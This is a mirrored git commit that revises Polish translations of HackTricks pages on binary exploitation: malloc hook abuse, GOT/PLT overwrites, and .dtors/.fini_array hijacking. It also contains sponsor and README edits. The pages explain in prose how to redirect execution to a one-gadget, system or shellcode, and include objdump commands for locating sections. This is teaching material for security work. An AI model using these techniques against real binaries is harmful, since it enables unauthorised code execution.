mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
This commit is contained in:
Translator
parent
abc3ea4902
commit
928492fa14
46 changed files with 918 additions and 554 deletions
18
README.md
18
README.md
|
|
@ -44,7 +44,7 @@ Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.
|
|||
|
||||
**Intigriti** to **najlepsza w Europie** platforma do etycznego hakingu i **bug bounty**.
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, platformie **bug bounty** stworzonej przez hakerów, dla hakerów! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 dolarów**!
|
||||
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** w **Intigriti**, platformie **bug bounty** stworzonej przez hakerów, dla hakerów! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 dolarów**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
|
@ -96,11 +96,11 @@ Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacja
|
|||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi oferuje szybkie i łatwe interfejsy API w czasie rzeczywistym do **dostępu do wyników wyszukiwania w wyszukiwarkach**. Scrapują wyszukiwarki, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
|
||||
SerpApi oferuje szybkie i łatwe interfejsy API w czasie rzeczywistym do **dostępu do wyników wyszukiwania w wyszukiwarkach**. Przeszukują one wyszukiwarki, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
|
||||
|
||||
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.
|
||||
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do przeszukiwania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.
|
||||
|
||||
W przeciwieństwie do innych dostawców, SerpApi nie ogranicza się do scrapowania wyników organicznych. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy w linii, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
|
||||
W przeciwieństwie do innych dostawców, SerpApi nie ogranicza się tylko do przeszukiwania wyników organicznych. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy wstawione, grafiki wiedzy i inne elementy i funkcje obecne w wynikach wyszukiwania.
|
||||
|
||||
Obecni klienci SerpApi to m.in. Apple, Shopify i GrubHub.
|
||||
|
||||
|
|
@ -126,14 +126,14 @@ Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\
|
|||
|
||||
WebSec to firma **wszystko w jednym**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej.
|
||||
|
||||
Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantuje najlepsze jakościowe wyniki**, jak to stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantuje najlepsze wyniki jakościowe**, jak to stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Oprócz powyższego WebSec jest również **zaangażowanym zwolennikiem HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
## Licencja i Oświadczenie
|
||||
|
||||
**Sprawdź je w:**
|
||||
Sprawdź je tutaj:
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
|
|
@ -141,14 +141,14 @@ Oprócz powyższego WebSec jest również **zaangażowanym zwolennikiem HackTric
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -697,13 +697,14 @@
|
|||
* [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
* [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
* [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
* [Ret2esp / Ret2reg](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg/README.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg/srop-sigreturn-oriented-programming.md)
|
||||
* [Ret2esp / Ret2reg](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||||
* [Ret2lib](binary-exploitation/rop-return-oriented-programing/ret2lib/README.md)
|
||||
* [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
* [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
* [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
* [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -10,15 +10,15 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## **Hacowanie Malloc Hook**
|
||||
## **Malloc Hook**
|
||||
|
||||
Jak można przeczytać na [Oficjalnej stronie GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** to wskaźnik wskazujący na **adres funkcji, która zostanie wywołana** za każdym razem, gdy zostanie wywołane `malloc()`, **przechowywany w sekcji danych biblioteki libc**. Dlatego jeśli ten adres zostanie nadpisany na przykład przez **One Gadget** i zostanie wywołane `malloc`, to **One Gadget zostanie wywołany**.
|
||||
Zgodnie z [Oficjalną stroną GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** to wskaźnik wskazujący na **adres funkcji, która zostanie wywołana** za każdym razem, gdy zostanie wywołane `malloc()`, **przechowywany w sekcji danych biblioteki libc**. Dlatego jeśli ten adres zostanie nadpisany na przykład przez **One Gadget** i zostanie wywołane `malloc`, to **One Gadget zostanie wywołany**.
|
||||
|
||||
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")`**, co alokuje wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je zaalokować na stercie.
|
||||
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")`**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je zaalokować na stercie.
|
||||
|
||||
Więcej informacji na temat One Gadget znajdziesz w:
|
||||
|
||||
|
|
@ -26,13 +26,18 @@ Więcej informacji na temat One Gadget znajdziesz w:
|
|||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencje
|
||||
{% hint style="warning" %}
|
||||
Zauważ, że haki są **wyłączone dla GLIBC >= 2.34**. Istnieją inne techniki, które można stosować w nowszych wersjach GLIBC. Zobacz: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -40,6 +45,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -10,25 +10,25 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
### **GOT: Global Offset Table**
|
||||
### **GOT: Globalna tabela przesunięć**
|
||||
|
||||
**Global Offset Table (GOT)** to mechanizm używany w binariach dynamicznie łączonych do zarządzania **adresami funkcji zewnętrznych**. Ponieważ te **adresy nie są znane do czasu wykonania** (ze względu na dynamiczne łączenie), GOT zapewnia sposób **dynamicznego aktualizowania adresów tych zewnętrznych symboli** po ich rozwiązaniu.
|
||||
**Globalna tabela przesunięć (GOT)** to mechanizm używany w binariach dynamicznie łączonych do zarządzania **adresami funkcji zewnętrznych**. Ponieważ te **adresy nie są znane do czasu wykonania** (ze względu na dynamiczne łączenie), GOT zapewnia sposób **dynamicznego aktualizowania adresów tych symboli zewnętrznych** po ich rozwiązaniu.
|
||||
|
||||
Każdy wpis w GOT odpowiada symbolowi w zewnętrznych bibliotekach, które binarny może wywołać. Gdy **funkcja jest pierwszy raz wywołana, jej rzeczywisty adres jest rozwiązywany przez dynamiczny łącznik i przechowywany w GOT**. Kolejne wywołania tej samej funkcji korzystają z adresu przechowywanego w GOT, unikając tym samym ponownego rozwiązywania adresu.
|
||||
Każdy wpis w GOT odpowiada symbolowi w bibliotekach zewnętrznych, które binarny może wywołać. Gdy **funkcja jest pierwszy raz wywołana, jej rzeczywisty adres jest rozwiązywany przez łącznik dynamiczny i przechowywany w GOT**. Kolejne wywołania tej samej funkcji korzystają z adresu przechowywanego w GOT, unikając tym samym ponownego rozwiązywania adresu.
|
||||
|
||||
### **PLT: Procedure Linkage Table**
|
||||
### **PLT: Tabela łączenia procedur**
|
||||
|
||||
**Procedure Linkage Table (PLT)** ściśle współpracuje z GOT i służy jako trampolina do obsługi wywołań funkcji zewnętrznych. Gdy binarny **wywołuje funkcję zewnętrzną po raz pierwszy, kontrola przechodzi do wpisu w PLT powiązanego z tą funkcją**. Ten wpis PLT jest odpowiedzialny za wywołanie dynamicznego łącznika w celu rozwiązania adresu funkcji, jeśli nie został on jeszcze rozwiązany. Po rozwiązaniu adres jest przechowywany w GOT.
|
||||
**Tabela łączenia procedur (PLT)** ściśle współpracuje z GOT i służy jako trampolina do obsługi wywołań funkcji zewnętrznych. Gdy binarny **wywołuje funkcję zewnętrzną po raz pierwszy, kontrola jest przekazywana do wpisu w PLT powiązanego z tą funkcją**. Ten wpis PLT jest odpowiedzialny za wywołanie łącznika dynamicznego w celu rozwiązania adresu funkcji, jeśli nie został on jeszcze rozwiązany. Po rozwiązaniu adres jest przechowywany w **GOT**.
|
||||
|
||||
**Dlatego** wpisy GOT są używane bezpośrednio, gdy adres funkcji lub zmiennej zewnętrznej jest rozwiązany. **Wpisy PLT są używane do ułatwienia początkowego rozwiązania** tych adresów za pomocą dynamicznego łącznika.
|
||||
**Dlatego** wpisy GOT są używane bezpośrednio, gdy adres funkcji lub zmiennej zewnętrznej jest rozwiązany. **Wpisy PLT są używane do ułatwienia początkowego rozwiązania** tych adresów za pośrednictwem łącznika dynamicznego.
|
||||
|
||||
## Uruchomienie wykonania
|
||||
## Uruchomienie
|
||||
|
||||
### Sprawdź GOT
|
||||
|
||||
|
|
@ -36,11 +36,11 @@ Uzyskaj adres tabeli GOT za pomocą: **`objdump -s -j .got ./exec`**
|
|||
|
||||
.png>)
|
||||
|
||||
Zauważ, jak po **załadowaniu** **wykonywalnego** pliku w GEF możesz **zobaczyć** **funkcje**, które znajdują się w **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
||||
Zauważ, jak po **załadowaniu** **wykonywalnego** w GEF możesz **zobaczyć** **funkcje**, które znajdują się w **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **`got`** aby zobaczyć tabelę GOT:
|
||||
Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **`got`** aby zobaczyć tabelę got:
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -48,13 +48,13 @@ Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **
|
|||
|
||||
W binarnym GOT znajdują się **adresy funkcji lub** sekcji **PLT**, która załaduje adres funkcji. Celem tego dowolnego zapisu jest **nadpisanie wpisu GOT** funkcji, która zostanie wykonana później **adresem** PLT funkcji **`system`** na przykład.
|
||||
|
||||
Idealnie, nadpiszesz **GOT** funkcji, która **zostanie wywołana z kontrolowanymi przez ciebie parametrami** (dzięki czemu będziesz mógł kontrolować parametry przesłane do funkcji system).
|
||||
Idealnie, **nadpiszesz** **GOT** funkcji, która **zostanie wywołana z kontrolowanymi przez ciebie parametrami** (dzięki czemu będziesz mógł kontrolować parametry przesłane do funkcji system).
|
||||
|
||||
Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemowa **nie** będzie miała wpisu w PLT. W takim scenariuszu będziesz **musiał najpierw ujawnić adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres.
|
||||
Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemu **nie** będzie miała wpisu w PLT. W takim scenariuszu będziesz **musiał najpierw ujawnić adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres.
|
||||
|
||||
Możesz zobaczyć adresy PLT za pomocą **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
## **One Gadget**
|
||||
## **Jedno narzędzie**
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
|
||||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
|
|
@ -62,7 +62,7 @@ Możesz zobaczyć adresy PLT za pomocą **`objdump -j .plt -d ./vuln_binary`**
|
|||
|
||||
## **Zabezpieczenia**
|
||||
|
||||
Ochrona **FullRELRO** ma na celu ochronę przed tego rodzaju techniką, rozwiązując wszystkie adresy funkcji podczas uruchamiania binarnego i ustawiając **tabelę GOT jako tylko do odczytu** po tym:
|
||||
Pełna ochrona **RELRO** ma na celu ochronę przed tego rodzaju techniką, rozwiązując wszystkie adresy funkcji podczas uruchamiania binarnego i ustawiając **tabelę GOT jako tylko do odczytu** po tym:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
|
|
@ -83,6 +83,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -8,27 +8,27 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## .dtors
|
||||
|
||||
{% hint style="danger" %}
|
||||
Obecnie jest bardzo **dziwne znalezienie binarnego pliku z sekcją .dtors**.
|
||||
Obecnie jest bardzo **dziwne znalezienie binarnego pliku z sekcją .dtors!**
|
||||
{% endhint %}
|
||||
|
||||
Destruktory to funkcje, które są **wykonywane przed zakończeniem programu** (po zakończeniu działania funkcji `main`).\
|
||||
Adresy tych funkcji są przechowywane wewnątrz sekcji **`.dtors`** binarnego pliku, dlatego jeśli uda Ci się **zapisać** **adres** do **shellcode** w **`__DTOR_END__`**, to zostanie **wykonany** przed zakończeniem programu.
|
||||
Destruktory to funkcje, które są **wykonywane przed zakończeniem programu** (po zwróceniu funkcji `main`).\
|
||||
Adresy tych funkcji są przechowywane w sekcji **`.dtors`** binarnego pliku, dlatego jeśli uda ci się **zapisać** **adres** do **shellcode** w **`__DTOR_END__`**, to zostanie **wykonany** przed zakończeniem programu.
|
||||
|
||||
Pobierz adres tej sekcji za pomocą:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
Zazwyczaj znajdziesz znaczniki **DTOR** **pomiędzy** wartościami `ffffffff` i `00000000`. Jeśli widzisz tylko te wartości, oznacza to, że **nie ma zarejestrowanej żadnej funkcji**. Nadpisz **`00000000`** adresem **shellcode**, aby go uruchomić.
|
||||
Zazwyczaj znajdziesz znaczniki **DTOR** **pomiędzy** wartościami `ffffffff` i `00000000`. Jeśli widzisz tylko te wartości, oznacza to, że **nie ma zarejestrowanej żadnej funkcji**. **Nadpisz** więc **`00000000`** adresem **shellcode**, aby go uruchomić.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Oczywiście najpierw musisz znaleźć **miejsce do przechowywania shellcode**, aby później móc go wywołać.
|
||||
|
|
@ -36,7 +36,7 @@ Oczywiście najpierw musisz znaleźć **miejsce do przechowywania shellcode**, a
|
|||
|
||||
## **.fini\_array**
|
||||
|
||||
To w zasadzie struktura zawierająca **funkcje, które zostaną wywołane** przed zakończeniem programu, podobnie jak **`.dtors`**. Jest to interesujące, jeśli możesz wywołać swoją **shellcode, skacząc do adresu**, lub w przypadkach, gdy musisz wrócić do `main` ponownie, aby **wykorzystać podatność po raz drugi**.
|
||||
W zasadzie jest to struktura zawierająca **funkcje, które zostaną wywołane** przed zakończeniem programu, podobnie jak **`.dtors`**. Jest to interesujące, jeśli możesz wywołać swoją **shellcode, skacząc do adresu**, lub w przypadkach, gdy musisz wrócić do `main` ponownie, aby **wykorzystać podatność po raz drugi**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
|
@ -47,32 +47,14 @@ Contents of section .fini_array:
|
|||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
Zauważ, że gdy funkcja z **`.fini_array`** jest wywoływana, przechodzi do następnej, więc nie będzie wykonywana wielokrotnie (zapobiegając wiecznym pętlom), ale również da ci tylko 1 **wywołanie funkcji** umieszczonej tutaj.
|
||||
#### Pętla wieczna
|
||||
|
||||
Zauważ, że wpisy w `.fini_array` są wywoływane w **odwrotnej** kolejności, dlatego prawdopodobnie chcesz zacząć pisanie od ostatniego.
|
||||
Aby nadużyć **`.fini_array`** i uzyskać pętlę wieczną, możesz [**sprawdzić, co zostało tutaj zrobione**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Jeśli masz co najmniej 2 wpisy w **`.fini_array`**, możesz:
|
||||
|
||||
#### Wieczna pętla
|
||||
|
||||
Aby nadużyć **`.fini_array`** i uzyskać wieczną pętlę, możesz [**sprawdzić, co zostało tutaj zrobione**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Jeśli masz co najmniej 2 wpisy w **`.fini_array`**, możesz:
|
||||
|
||||
* Użyj swojego pierwszego zapisu, aby **ponownie wywołać podatną funkcję do dowolnego zapisu**
|
||||
* Użyj swojego pierwszego zapisu, aby **ponownie wywołać podatną funkcję do arbitralnego zapisu**
|
||||
* Następnie oblicz adres powrotu na stosie przechowywany przez **`__libc_csu_fini`** (funkcja wywołująca wszystkie funkcje `.fini_array`) i umieść tam **adres `__libc_csu_fini`**
|
||||
* Spowoduje to, że **`__libc_csu_fini`** ponownie wywoła siebie, wykonując ponownie funkcje **`.fini_array`**, które ponownie wywołają podatną funkcję WWW 2 razy: raz dla **dowolnego zapisu** i jeszcze raz, aby ponownie nadpisać **adres powrotu `__libc_csu_fini`** na stosie, aby ponownie wywołać siebie.
|
||||
* Spowoduje to, że **`__libc_csu_fini`** wywoła siebie ponownie, wykonując ponownie funkcje **`.fini_array`**, które wywołają podatną funkcję WWW 2 razy: raz dla **arbitralnego zapisu** i jeszcze raz, aby ponownie nadpisać **adres powrotu `__libc_csu_fini`** na stosie, aby ponownie wywołać siebie.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że przy [**Full Relro**](../common-binary-protections-and-bypasses/relro.md)**,** sekcja **`.fini_array`** jest ustawiona jako **tylko do odczytu**.
|
||||
Zauważ, że z [**pełnym RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** sekcja **`.fini_array`** jest ustawiona jako **tylko do odczytu**.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
